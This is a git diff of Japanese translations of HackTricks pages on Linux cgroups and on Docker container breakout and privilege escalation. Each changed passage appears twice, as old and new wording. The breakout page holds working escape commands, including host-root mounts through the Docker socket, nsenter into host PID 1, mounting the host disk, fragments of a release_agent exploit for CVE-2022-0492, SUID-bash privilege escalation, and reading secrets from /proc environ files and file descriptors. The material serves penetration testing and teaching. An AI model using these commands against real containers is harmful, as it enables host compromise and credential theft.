[**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** ## 基本情報 -**Linux Control Groups**、または **cgroups** は、Linuxカーネルの機能であり、CPU、メモリ、およびディスクI/Oなどのシステムリソースの割り当て、制限、および優先順位付けをプロセスグループ間で可能にします。これらは、プロセスコレクションのリソース使用量を**管理および分離**するメカニズムを提供し、リソース制限、ワークロードの分離、および異なるプロセスグループ間でのリソースの優先順位付けなどの目的に役立ちます。 +**Linux Control Groups**、または **cgroups** は、Linuxカーネルの機能であり、CPU、メモリ、およびディスクI/Oなどのシステムリソースの割り当て、制限、および優先順位付けをプロセスグループ間で可能にするものです。これらは、プロセスコレクションのリソース使用量を**管理および分離**するメカニズムを提供し、リソース制限、ワークロードの分離、および異なるプロセスグループ間でのリソースの優先順位付けなどの目的に役立ちます。 -**cgroupsには2つのバージョン**があります: バージョン1とバージョン2。両方をシステムで同時に使用できます。主な違いは、**cgroupsバージョン2**が**階層的なツリー構造**を導入し、プロセスグループ間でより微妙で詳細なリソース分配を可能にすることです。さらに、バージョン2には次のようなさまざまな改善点があります: +**cgroupsには2つのバージョン**があります:バージョン1とバージョン2。両方をシステムで同時に使用できます。主な違いは、**cgroupsバージョン2**が**階層的なツリー構造**を導入し、プロセスグループ間でより微妙で詳細なリソース分配を可能にする点です。さらに、バージョン2には、次のようなさまざまな改善点が含まれます: -新しい階層的な組織に加えて、cgroupsバージョン2は、**新しいリソースコントローラ**のサポート、レガシーアプリケーションのより良いサポート、およびパフォーマンスの向上など、**その他の変更と改善**を導入しました。 +新しい階層的な組織に加えて、cgroupsバージョン2には、**新しいリソースコントローラ**のサポート、レガシーアプリケーションのサポート向上、およびパフォーマンスの向上など、**その他の変更と改善**が導入されました。 全体として、cgroups **バージョン2は、バージョン1よりも多くの機能と優れたパフォーマンス**を提供しますが、後者は、古いシステムとの互換性が懸念される場合には引き続き使用される可能性があります。 -任意のプロセスのv1およびv2 cgroupsをリストするには、そのプロセスのcgroupファイルを /proc/\ で見ることができます。次のコマンドでシェルのcgroupsを確認できます: +任意のプロセスのv1およびv2 cgroupsをリストするには、そのcgroupファイルを /proc/\ で見ることで行うことができます。次のコマンドで、シェルのcgroupsを確認できます: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -39,52 +39,46 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` -- **Numbers 2–12**: cgroups v1、各行が異なるcgroupを表す。これらのコントローラは数字の隣に指定される。 -- **Number 1**: cgroups v1でもありますが、管理目的のみ(例:systemdによって設定される)で、コントローラがありません。 -- **Number 0**: cgroups v2を表します。コントローラはリストされず、この行はcgroups v2のみを実行しているシステムにのみ存在します。 -- **名前は階層的**で、ファイルパスを模しており、異なるcgroup間の構造と関係を示しています。 -- **/user.sliceや/system.slice**のような名前は、cgroupの分類を指定し、通常はsystemdによって管理されるログインセッション用のuser.sliceと、システムサービス用のsystem.sliceを示します。 - ### cgroupsの表示 -通常、Unixシステムコールインターフェイスではなく、**cgroups**にアクセスするためにファイルシステムが使用されます。シェルのcgroup構成を調査するには、**/proc/self/cgroup**ファイルを調べる必要があります。これにより、シェルのcgroupが明らかになります。次に、**/sys/fs/cgroup**(または**`/sys/fs/cgroup/unified`**)ディレクトリに移動し、cgroupの名前を共有するディレクトリを見つけることで、cgroupに関連するさまざまな設定やリソース使用情報を観察できます。 +ファイルシステムは通常、**cgroups**にアクセスするために使用され、従来はカーネルとのやり取りに使用されていたUnixシステムコールインターフェースから逸脱しています。シェルのcgroup構成を調査するには、**/proc/self/cgroup**ファイルを調べる必要があります。これにより、シェルのcgroupが明らかになります。次に、**/sys/fs/cgroup**(または**`/sys/fs/cgroup/unified`**)ディレクトリに移動し、cgroupの名前を共有するディレクトリを見つけることで、cgroupに関連するさまざまな設定やリソース使用情報を観察できます。 -![Cgroup Filesystem](../../../.gitbook/assets/image%20(10)%20(2)%20(2).png) +![Cgroup Filesystem](<../../../.gitbook/assets/image (1128).png>) -cgroupsの主要なインターフェースファイルは**cgroup**で始まります。**cgroup.procs**ファイルは、catなどの標準コマンドで表示でき、cgroup内のプロセスがリストされます。別のファイルである**cgroup.threads**にはスレッド情報が含まれています。 +cgroupsの主要なインターフェースファイルは**cgroup**で接頭辞が付けられています。標準のcatなどのコマンドで表示できる**cgroup.procs**ファイルには、cgroup内のプロセスがリストされています。別のファイルである**cgroup.threads**にはスレッド情報が含まれています。 -![Cgroup Procs](../../../.gitbook/assets/image%20(1)%20(1)%20(5).png) +![Cgroup Procs](<../../../.gitbook/assets/image (281).png>) -シェルを管理するcgroupsには通常、メモリ使用量とプロセス数を規制する2つのコントローラが含まれています。コントローラとやり取りするには、コントローラの接頭辞を持つファイルを参照する必要があります。例えば、**pids.current**は、cgroup内のスレッド数を確認するために参照されます。 +シェルを管理するcgroupsには通常、メモリ使用量とプロセス数を規制する2つのコントローラが含まれています。コントローラとやり取りするには、コントローラの接頭辞を持つファイルを参照する必要があります。たとえば、**pids.current**は、cgroup内のスレッド数を確認するために参照されます。 -![Cgroup Memory](../../../.gitbook/assets/image%20(3)%20(5).png) - -値に**max**が表示されている場合、その値はcgroupに特定の制限がないことを示します。ただし、cgroupsの階層構造のため、制限はディレクトリ階層の下位レベルのcgroupによって課せられる可能性があります。 +![Cgroup Memory](<../../../.gitbook/assets/image (677).png>) +値に**max**が示されている場合、そのcgroupに特定の制限がないことを示します。ただし、cgroupsの階層構造のため、ディレクトリ階層の下位レベルのcgroupによって制限が課される場合があります。 ### cgroupsの操作と作成 -プロセスは、**そのプロセスID(PID)を`cgroup.procs`ファイルに書き込むこと**でcgroupsに割り当てられます。これにはroot権限が必要です。たとえば、プロセスを追加するには: +プロセスは、**そのプロセスのプロセスID(PID)を`cgroup.procs`ファイルに書き込むこと**でcgroupsに割り当てられます。これにはroot権限が必要です。たとえば、プロセスを追加するには: ```bash echo [pid] > cgroup.procs ``` -同様に、**PID制限の設定など、cgroup属性の変更**は、関連するファイルに希望する値を書き込むことで行われます。cgroupに最大3,000個のPIDを設定するには: +同様に、**PID制限を設定するなど、cgroup属性を変更**するには、関連するファイルに希望する値を書き込むことで行われます。cgroupに最大3,000個のPIDを設定するには: ```bash echo 3000 > pids.max ``` -**新しいcgroupsを作成する**には、cgroup階層内に新しいサブディレクトリを作成する必要があります。これにより、カーネルが必要なインターフェースファイルを自動的に生成します。`rmdir`を使用してプロセスがアクティブでないcgroupsを削除できますが、次の制約に注意してください: +**新しいcgroupsを作成する**には、cgroup階層内で新しいサブディレクトリを作成する必要があります。これにより、カーネルが自動的に必要なインターフェースファイルを生成します。アクティブなプロセスがないcgroupsは`rmdir`で削除できますが、次の制約に注意してください: -- **プロセスは、葉cgroupsにのみ配置できます**(つまり、階層内で最も入れ子になっているもの)。 -- **親に存在しないコントローラを持つcgroupは存在できません**。 +- **プロセスはリーフcgroupsにのみ配置できます**(つまり、階層内で最も入れ子になっているもの)。 +- **親に存在しないコントローラを持つcgroupはできません**。 - **子cgroupsのコントローラは、`cgroup.subtree_control`ファイルで明示的に宣言する必要があります**。たとえば、子cgroupでCPUおよびPIDコントローラを有効にするには: ```bash echo "+cpu +pids" > cgroup.subtree_control ``` -**ルートcgroup**はこれらのルールの例外であり、直接プロセス配置を許可します。これは、プロセスをsystemdの管理から削除するために使用できます。 +**ルートcgroup**はこれらのルールの例外であり、直接プロセス配置を許可します。これを使用して、プロセスをsystemdの管理から削除することができます。 -cgroup内での**CPU使用率の監視**は、`cpu.stat`ファイルを介して可能であり、消費された合計CPU時間を表示し、サービスのサブプロセス間での使用状況を追跡するのに役立ちます: +cgroup内での**CPU使用率の監視**は、`cpu.stat`ファイルを介して可能であり、消費された合計CPU時間を表示し、サービスのサブプロセス全体での使用状況を追跡するのに役立ちます: -
cpu.statファイルに表示されるCPU使用率統計
+

cpu.statファイルに表示されるCPU使用率統計

## 参考文献 + * **書籍: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 2cdbc2a63..f86a00b6e 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,38 +2,38 @@
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら +htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 -* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする +* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出してください
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 自動列挙と脱出 -* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): **コンテナを列挙**することもできます -* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、**現在のコンテナを列挙し、自動的に脱出を試みる**のに非常に便利です -* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、それから脱出する方法を見つけるための便利なツール +* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): **コンテナを列挙** することもできます +* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、**現在のコンテナを列挙し、自動的に脱出を試みる** のに非常に便利です +* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこから脱出する方法を見つけるための便利なツール * [**deepce**](https://github.com/stealthcopter/deepce): コンテナからの列挙と脱出のためのツール * [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得する ## マウントされたDockerソケットの脱出 -もしも**dockerソケットがDockerコンテナ内にマウントされている**ことがわかった場合、それから脱出することができます。\ -これは通常、何らかの理由でDockerコンテナがDockerデーモンに接続してアクションを実行する必要がある場合に発生します。 +もしも **dockerソケットがDockerコンテナ内にマウントされている** 場合、それから脱出することができます。\ +これは通常、何らかの理由でDockerコンテナがDockerデーモンに接続してアクションを実行する必要がある場合に起こります。 ```bash #Search the socket find / -name docker.sock 2>/dev/null @@ -54,13 +54,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` {% hint style="info" %} -**dockerソケットが予期しない場所にある** 場合は、パラメータ **`-H unix:///path/to/docker.sock`** を使用して **`docker`** コマンドでそれと通信することができます。 +**docker** ソケットが予期しない場所にある場合は、**`docker`** コマンドを使用してパラメータ **`-H unix:///path/to/docker.sock`** を指定してそれと通信することができます。 {% endhint %} -Dockerデーモンは、[デフォルトでポート(2375、2376)でリスニング](../../../../network-services-pentesting/2375-pentesting-docker.md)されているか、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット `fd://` を介して行われる可能性があります。 +Docker デーモンはデフォルトでポート(通常は 2375、2376)でリスニングされている可能性があり、Systemd ベースのシステムでは Docker デーモンとの通信は Systemd ソケット `fd://` を介して行われることがあります。 {% hint style="info" %} -さらに、他のハイレベルランタイムのランタイムソケットにも注意してください: +さらに、他のハイレベルランタイムのランタイムソケットにも注意してください: * dockershim: `unix:///var/run/dockershim.sock` * containerd: `unix:///run/containerd/containerd.sock` @@ -72,27 +72,33 @@ Dockerデーモンは、[デフォルトでポート(2375、2376)でリス ## Capabilities Abuse Escape -コンテナの権限をチェックする必要があります。以下のいずれかの権限がある場合、それから脱出することができるかもしれません: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +コンテナの機能を確認する必要があります。以下のいずれかの機能がある場合、それから脱出することができるかもしれません: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** -現在のコンテナの権限を確認するには、**前述の自動ツール**または次の方法を使用できます: +**以前に言及した自動ツール**を使用するか、現在のコンテナの機能を確認することができます: ```bash capsh --print ``` -## 特権コンテナからの脱出 +以下のページで**Linuxの機能について詳しく学び**、それらを乱用して特権を脱出/昇格する方法を学ぶことができます: -特権コンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます: +{% content-ref url="../../linux-capabilities.md" %} +[linux-capabilities.md](../../linux-capabilities.md) +{% endcontent-ref %} -- `--cap-add=ALL` -- `--security-opt apparmor=unconfined` -- `--security-opt seccomp=unconfined` -- `--security-opt label:disable` -- `--pid=host` -- `--userns=host` -- `--uts=host` -- `--cgroupns=host` -- `/dev`をマウント +## 特権付きコンテナからの脱出 -`--privileged`フラグは、コンテナのセキュリティを著しく低下させ、**デバイスへの制限なしのアクセス**を提供し、**いくつかの保護をバイパス**します。詳細な説明については、`--privileged`の完全な影響に関するドキュメントを参照してください。 +特権付きコンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます: + +* `--cap-add=ALL` +* `--security-opt apparmor=unconfined` +* `--security-opt seccomp=unconfined` +* `--security-opt label:disable` +* `--pid=host` +* `--userns=host` +* `--uts=host` +* `--cgroupns=host` +* `/dev`をマウント + +`--privileged`フラグは、コンテナのセキュリティを著しく低下させ、**制限なしのデバイスアクセス**を提供し、**いくつかの保護をバイパス**します。詳細な説明については、`--privileged`の完全な影響に関するドキュメントを参照してください。 {% content-ref url="../docker-privileged.md" %} [docker-privileged.md](../docker-privileged.md) @@ -100,15 +106,15 @@ capsh --print ### 特権 + hostPID -これらの権限を持つ場合、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行するだけで、ホストでrootとして実行されているプロセス(init (pid:1)など)の名前空間に移動できます。 +これらの権限を持っていると、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行するだけで、ホストでrootとして実行されているプロセス(init (pid:1)など)の名前空間に移動できます。 -コンテナでテストを実行します。 +コンテナでテストを実行してください: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` ### 特権 -特権フラグだけで、ホストのディスクにアクセスを試みたり、release\_agentを悪用して脱出を試みることができます。 +特権フラグだけで、ホストのディスクにアクセスを試みたり、release\_agentなどのエスケープを悪用して脱出を試みることができます。 コンテナで以下のバイパスをテストしてください: ```bash @@ -125,11 +131,11 @@ docker run --rm -it --privileged ubuntu bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` -そして完成!ホストのファイルシステムにアクセスできるようになりました。なぜなら、それが `/mnt/hola` フォルダにマウントされているからです。 +そして、できあがり!ホストのファイルシステムにアクセスできるようになりました。なぜなら、それが `/mnt/hola` フォルダにマウントされているからです。 #### ディスクのマウント - Poc2 -コンテナ内では、攻撃者はクラスタによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的なことです。 +コンテナ内では、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基礎となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃ベクトルを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -150,9 +156,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### 既存のrelease_agentを悪用した特権エスケープ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1 +#### 既存の release\_agent を悪用した特権エスケープ ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 -{% code title="初期PoC" %} +{% code title="初期 PoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -186,7 +192,9 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -#### 特権エスケープ created release_agent の悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC2 +{% endcode %} + +#### 特権エスケープ created release\_agent の悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC2 {% code title="Second PoC" %} ```bash @@ -240,7 +248,7 @@ cat /output #### release\_agentを悪用した特権エスケープ - 相対パスが不明な場合の PoC3 -以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが公開**されていました。ただし、常にそうとは限りません。**ホスト内のコンテナの絶対パスがわからない場合**には、この技術を使用できます: +以前の攻撃では、**ホストファイルシステム内のコンテナの絶対パスが公開**されていました。ただし、常にそうとは限りません。**ホスト内のコンテナの絶対パスがわからない**場合には、この技術を使用できます: {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) @@ -332,18 +340,18 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -#### 特権の乱用による機密マウントの悪用 +#### 特権エスケープ 機密マウントの悪用 -**ホストに関する情報を提供する可能性のあるいくつかのファイル**がマウントされている場合があります。これらのファイルのいくつかは、**ホストが何かが起こったときに実行するものを示す場合さえあります**(これにより攻撃者がコンテナから脱出することができます)。 -これらのファイルの悪用により、次のことが可能になる場合があります: +**ホストに関する情報を提供する可能性のあるいくつかのファイルがマウントされている**かもしれません。その中には、**ホストが何かが起こったときに実行するものを示す場合さえある**かもしれません(これにより攻撃者がコンテナから脱出することができます)。\ +これらのファイルの悪用により、次のことが可能になるかもしれません: -- release\_agent(以前にカバー済み) -- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) -- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) -- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) -- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) +* release\_agent (すでに前述済み) +* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc) +* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern) +* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper) +* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -ただし、このページでチェックすべき**他の機密ファイル**を見つけることができます: +ただし、このページでチェックすべき**他の機密ファイル**を見つけることができます: {% content-ref url="sensitive-mounts.md" %} [sensitive-mounts.md](sensitive-mounts.md) @@ -351,14 +359,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ### 任意のマウント -何度かの機会に、**コンテナにはホストからのボリュームがマウントされている**ことがあります。このボリュームが正しく構成されていない場合、**アクセス/変更が可能になる機密データ**があるかもしれません:シークレットの読み取り、sshのauthorized\_keysの変更... +何度かの機会に、**コンテナにはホストからマウントされたボリュームがいくつかある**ことがあります。このボリュームが正しく構成されていない場合、**アクセス/変更が可能になる機密データ**があるかもしれません: シークレットの読み取り、ssh authorized\_keys の変更... ```bash docker run --rm -it -v /:/host ubuntu bash ``` ### 2つのシェルとホストマウントを使用した特権昇格 -もし、ホストからマウントされたフォルダを持つ**コンテナ内のrootとしてのアクセス権**を持っており、**非特権ユーザーとしてホストに脱出**し、マウントされたフォルダに対する読み取りアクセス権を持っている場合、\ -**コンテナ**内の**マウントされたフォルダ**に**bash suidファイル**を作成し、それを**ホスト**から実行することで特権昇格を行うことができます。 +もし、ホストからマウントされたフォルダを持つコンテナ内で**rootとしてアクセス**権を持っており、**非特権ユーザーとしてホストに脱出**し、マウントされたフォルダに読み取りアクセス権がある場合、\ +**コンテナ**内の**マウントされたフォルダ**に**bash suidファイル**を作成し、それを**ホストから実行**して特権昇格を行うことができます。 ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -368,10 +376,10 @@ bash -p #From non priv inside mounted folder ``` ### 2つのシェルを使用した特権昇格 -**コンテナ内のrootとしてアクセス**権限があり、**特権のないユーザーとしてホストに脱出**できた場合、コンテナ内でMKNODの機能(デフォルトで使用可能)を持っている場合、両方のシェルを悪用して**ホスト内で特権昇格**することができます。これは、[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\ -このような機能を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することができます。デバイスファイルは、**基礎となるハードウェアやカーネルモジュールにアクセス**するために使用される特別なファイルです。たとえば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読み取る**アクセスを提供します。 +**コンテナ内のrootとしてアクセス**権限を持ち、**特権のないユーザーとしてホストに脱出**できた場合、コンテナ内でMKNODの機能(デフォルトで使用可能)を持っている場合、両方のシェルを悪用して**ホスト内で特権昇格**することができます。これは、[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\ +この機能を使用すると、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基礎となるハードウェアやカーネルモジュールにアクセス**するために使用される特別なファイルです。たとえば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読む**ためのアクセスを提供します。 -Dockerは、コンテナ内でのブロックデバイスの誤用に対して、**ブロックデバイスの読み書き操作をブロック**するcgroupポリシーを強制します。ただし、コンテナ内で**ブロックデバイスが作成**されると、**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセスできるようになります。このアクセスには、コンテナ内外の**プロセス所有者が同じ**である必要があります。 +Dockerは、コンテナ内でのブロックデバイスの誤用に対して、**ブロックデバイスの読み書き操作をブロック**するcgroupポリシーを強制します。ただし、コンテナ内で**ブロックデバイスが作成**されると、**/proc/PID/root/**ディレクトリを介してコンテナ外からアクセスできるようになります。このアクセスには、コンテナ内外の**プロセス所有者が同じであること**が必要です。 この[**解説**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)からの**悪用**例: ```bash @@ -417,7 +425,7 @@ docker run --rm -it --pid=host ubuntu bash ``` 例えば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。 -その後、**/proc/ホスト内の各プロセスにアクセスできるため、単にその環境変数の秘密を盗むことができます**。以下を実行します: +その後、**/proc/ホスト内の各プロセスにアクセスできるため、単にその環境変数の秘密を盗むことができます**。次のように実行します: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -426,7 +434,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` -あなたは他のプロセスのファイルディスクリプタにアクセスし、それらのオープンされたファイルを読むこともできます。 +あなたは他のプロセスのファイルディスクリプタにアクセスして、それらのオープンされたファイルを読むこともできます。 ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -439,79 +447,81 @@ cat /proc/635813/fd/4 あなたはまた**プロセスを終了させ、DoSを引き起こす**ことができます。 {% hint style="warning" %} -もしコンテナの外側のプロセスに特権アクセスを持っている場合、`nsenter --target --all`や`nsenter --target --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(たぶんなし)を持つシェルを実行することができます。 +もしコンテナの外部のプロセスに特権的な**アクセス権**がある場合、`nsenter --target --all`や`nsenter --target --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(たぶんなし)を持つシェルを**実行**できます。 {% endhint %} ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で構成されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しており、コンテナには独自のIPアドレスが割り当てられません)。言い換えれば、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース`tcpdump -i eth0`でホストが送受信している**すべてのネットワークトラフィックを傍受**できます。 +もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で構成されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しており、コンテナには独自のIPアドレスが割り当てられません)。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**できます `tcpdump -i eth0`。 例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニッフィングやスプーフィング**することができます。 以下の例のように: -- [Writeup: Google SREに連絡する方法: cloud SQLにシェルをドロップする](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) -- [Metadata service MITMによるルート特権昇格(EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) +* [解説: Google SREに連絡する方法: Cloud SQLにシェルをドロップする](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) +* [メタデータサービスのMITMによるルート特権昇格(EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) -また、ホスト内で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータ権限にアクセス**したりすることもできます(これはコンテナがアクセスできるものと異なる場合があります)。 +また、ホスト内で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータ権限にアクセス**したりすることもできます(これはコンテナがアクセスできるものとは異なる場合があります)。 ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -`hostIPC=true`を使用すると、ホストのプロセス間通信(IPC)リソースにアクセスできます。たとえば、`/dev/shm`内の**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが同じIPCリソースを使用している場所に読み書きできます。これらのIPCメカニズムをさらに調査するには、`ipcs`を使用します。 +```markdown +`hostIPC=true` を使用すると、ホストのプロセス間通信(IPC)リソースにアクセスできます。たとえば、`/dev/shm` にある**共有メモリ**にアクセスできます。これにより、他のホストやポッドプロセスが同じIPCリソースを使用している場所に読み書きできます。これらのIPCメカニズムをさらに調査するには、`ipcs` を使用します。 -* **/dev/shmを調査** - この共有メモリの場所にあるファイルを調べます: `ls -la /dev/shm` -* **既存のIPC施設を調査** - `/usr/bin/ipcs`を使用して、IPC施設が使用されているかどうかを確認できます。次のコマンドで確認します: `ipcs -a` +* **/dev/shm を調査** - この共有メモリの場所にあるファイルを確認します: `ls -la /dev/shm` +* **既存のIPC施設を調査** - `/usr/bin/ipcs` を使用して、IPC施設が使用されているかどうかを確認できます。次のコマンドを使用して確認します: `ipcs -a` -### 機能の回復 +### 権限の回復 -シスコール **`unshare`** が禁止されていない場合、次のコマンドを実行してすべての機能を回復できます: +シスコール **`unshare`** が禁止されていない場合、次のコマンドを実行してすべての権限を回復できます: +``` ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` -### シンボリックリンクを使用したユーザー名前空間の悪用 +### シンボリックリンクを介したユーザー名前空間の悪用 